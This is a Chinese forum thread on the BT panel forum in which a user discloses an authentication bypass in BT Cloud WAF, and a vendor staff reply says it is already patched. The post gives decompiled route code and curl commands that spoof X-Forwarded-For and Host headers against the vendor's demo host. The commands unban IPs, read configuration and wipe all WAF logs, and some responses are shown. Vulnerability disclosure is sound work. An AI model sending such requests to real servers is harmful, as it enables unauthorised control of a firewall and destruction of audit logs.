宝塔51特惠活动,企业版1099元/年,送SSL证书,最高立减2万元!查看活动
当前位置:论坛首页 > Linux面板 > 讨论

【已解答】我发现了宝塔 WAF 的未授权访问漏洞

发表在 Linux面板2024-2-17 03:26 [复制链接] 1 3843

继过年前发现 宝塔 WAF 后台的命令注入漏洞 后,寒假期间闲着无事,过年又不想跑亲戚,又翻了翻宝塔的代码,再一次发现了重大漏洞。
大过年还在看代码真是不容易,宝塔请给我广告费+代码审计费。
今天分享的是一个未授权访问漏洞,普通用户可以无视宝塔的随机登录地址,无视宝塔的登录密码,直接操作后台的数据,实现人人都是管理员的效果。
请看这段代码

  1. start = function ()
  2.         ... 此处身略若干行
  3.         if ngx.var.remote_addr == "127.0.0.1" and ngx.ctx.Server_name == "127.0.0.251" and ngx.var.host == "127.0.0.251" then
  4.                 if ngx.var.uri == "/get_btwaf_drop_ip" then
  5.                         Public.return_message(200, uv0.get_btwaf_drop_ip())
  6.                 elseif ngx.var.uri == "/remove_btwaf_drop_ip" then
  7.                         Public.return_message(200, uv0.remove_btwaf_drop_ip())
  8.                 elseif ngx.var.uri == "/clean_btwaf_drop_ip" then
  9.                         Public.return_message(200, uv0.clean_btwaf_drop_ip())
  10.                 elseif ngx.var.uri == "/updateinfo" then
  11.                         Public.return_message(200, uv0.updateInfo())
  12.                 elseif ngx.var.uri == "/get_site_status" then
  13.                         Public.return_message(200, uv0.get_site_status())
  14.                 elseif ngx.var.uri == "/get_global_status" then
  15.                         Public.return_message(200, uv0.get_global_status())
  16.                 end

  17.                 if ngx.var.uri == "/clean_btwaf_logs" then
  18.                         Public.return_message(200, uv0.clean_btwaf_logs())
  19.                 end

  20.                 if ngx.var.uri == "/clear_speed_hit" then
  21.                         Public.return_message(200, uv0.clear_speed_hit())
  22.                 end

  23.                 if ngx.var.uri == "/clear_replace_hit" then
  24.                         Public.return_message(200, uv0.clear_replace_hit())
  25.                 end

  26.                 if ngx.var.uri == "/reset_customize_cc" then
  27.                         Public.return_message(200, uv0.reset_customize_cc())
  28.                 end

  29.                 if ngx.var.uri == "/clear_speed_countsize" then
  30.                         Public.return_message(200, uv0.clear_speed_countsize())
  31.                 end
  32.         end
  33. end
复制代码


这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua  文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码。
看代码最开端的 if 语句,只要满足 ip 是 127.0.0.1 ,域名是 127.0.0.251 这两个条件就能在不用登录的情况下访问下面的 API。
话说这是临时工写的代码吧,对于宝塔的配置来说,要满足这两个条件很难吗?
  • 配置 x-forwarded-for 头为 127.0.0.1 即可满足 ip 是 127.0.0.1 的条件
  • 配置 host 头为 127.0.0.251 即可满足域名是 127.0.0.251 的条件
提供一条 curl 参数供大家参考

curl '<http://宝塔地址/API>'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
到此漏洞原理就讲完了
我们访问宝塔官方网站做个测试

get_btwaf_drop_ip这个 API 用来获取已经拉黑的 IP 列表,使用以下命令发起访问
curl '<http://btwaf-demo.bt.cn/get_btwaf_drop_ip>'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
remove_btwaf_drop_ip这个 API 用来解封 IP,提供一个 get 参数即可,使用以下命令发起访问
curl '<http://btwaf-demo.bt.cn/remove_btwaf_drop_ip?ip=1.2.3.4>'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'响应如下
{"msg":"1.2.3.4已解封","status":true}
clean_btwaf_drop_ip这个 API 用来解封所有 IP,使用以下命令发起访问
curl '<http://btwaf-demo.bt.cn/clean_btwaf_drop_ip>'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'响应如下
{"msg":"已解封所有IP","status":true}
updateinfo这个 API 看起来是更新配置用的,需要一个 types 参数做校验,但实际并没有什么用处,使用以下命令发起访问
curl '<http://btwaf-demo.bt.cn/updateinfo?types>'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
get_site_status这个 API 用来获取网站的配置,server_name 参数需要提供网站的域名,使用以下命令发起访问
curl '<http://btwaf-demo.bt.cn/get_site_status?server_name=bt.cn>'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'响应如下
{"status":true,"msg":{"uv":0,"qps":0,"inland":0,"overseas":0,"today":{"pc_count":0,"mobile_count":0,"req":0,"spider_google":0,"spider_bing":0,"spider_sogou":0,"spider_360":0,"spider_other":0,"err_40x":0,"spider_baidu":0,"recv_bytes":0,"send_bytes":0,"err_500":0,"err_502":0,"err_503":0,"err_504":0,"err_499":0,"uv_count":0,"ip_count":0,"pv_count":0},"send_bytes":0,"proxy_count":0,"err_502":0,"recv_bytes":0,"err_504":0,"err_499":0,"ip":0,"proxy_time":0,"pv":0}}clean_btwaf_logs这个 API 用来删除宝塔的所有日志,使用以下命令发起访问
curl "<http://btwaf-demo.bt.cn/clean_btwaf_logs>"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'后续还有一些 API 大同小异,不一一列举了
  • get_global_status
  • clear_speed_hit
  • clear_replace_hit
  • reset_customize_cc
  • clear_speed_countsize
此漏洞危害较大,各位宝塔用户请关注宝塔官方补丁,及时更新。



使用道具 举报 只看该作者 回复
发表于 2024-2-18 17:40:06 | 显示全部楼层
关于网传漏洞的说明:
1、这个《堡塔云WAF》漏洞去年就修复了。
2、漏洞只能查看数据,并不能造成什么威胁,危害性较小。
3. btwaf数据库只会存储waf的基础信息和拦截日志不存在任何敏感信息。
注意!!!:
此漏洞仅影响《堡塔云WAF》2.6至3.3以下版本

不会影响《宝塔面板》和《Nginx防火墙插件》
网传绕过宝塔面板安全入口为虚假信息。
使用道具 举报 回复 支持 反对
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

普通问题处理

论坛响应时间:72小时

问题处理方式:排队(仅解答)

工作时间:白班:9:00 - 18:00

紧急运维服务

响应时间:3分钟

问题处理方式:宝塔专家1对1服务

工作时间:工作日:9:00 - 18:30

宝塔专业团队为您解决服务器疑难问题

点击联系技术免费分析
快速回复 返回顶部 返回列表